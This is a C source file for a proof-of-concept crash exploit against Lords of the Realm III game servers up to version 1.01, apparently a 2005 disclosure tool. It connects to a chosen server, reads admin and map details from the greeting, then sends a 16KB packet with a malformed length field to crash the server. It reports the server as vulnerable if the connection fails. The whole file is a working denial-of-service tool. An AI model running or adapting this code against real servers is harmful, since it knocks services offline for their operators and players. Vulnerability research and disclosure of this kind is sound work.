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lotr3boom.c
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Wrap
C/C++ Source or Header
|
2005-02-12
|
3KB
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152 lines
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#endif
#define VER "0.1"
#define PORT 29901
#define BUFFSZ 16384 // BOOMSZ
#define SHOW(x) len = *(u_long *)p; \
fputs(x, stdout); \
p += 4; \
while(len--) { \
fputc(*p, stdout); \
p += 2; \
} \
fputc('\n', stdout);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len;
u_short port = PORT;
u_char buff[BUFFSZ],
*p;
setbuf(stdout, NULL);
fputs("\n"
"Lords of the Realm III <= 1.01 server crash "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <server> [port(%d)]\n"
"\n", argv[0], PORT);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
printf("- target %s:%hu\n",
inet_ntoa(peer.sin_addr), port);
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(recv(sd, buff, BUFFSZ, 0)
< 0) std_err();
fputs("- informations:\n", stdout);
if(*buff != 11) {
p = buff + 5;
SHOW(" Server*Admin: ");
p += 2;
SHOW(" Map: ");
} else {
p = buff + 24;
SHOW(" Admin nick: ");
}
*(u_long *)buff = BUFFSZ - 4;
memcpy(buff + 4, "\x79\xff\xff\xff\xff", 5);
*(u_long *)(buff + 9) = (BUFFSZ - 14) >> 1;
memset(buff + 13, 'a', BUFFSZ - 14);
buff[BUFFSZ - 1] = 0x45;
fputs("\n- send BOOM data\n", stdout);
if(send(sd, buff, BUFFSZ, 0)
< 0) std_err();
if(recv(sd, buff, BUFFSZ, 0) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem to be vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif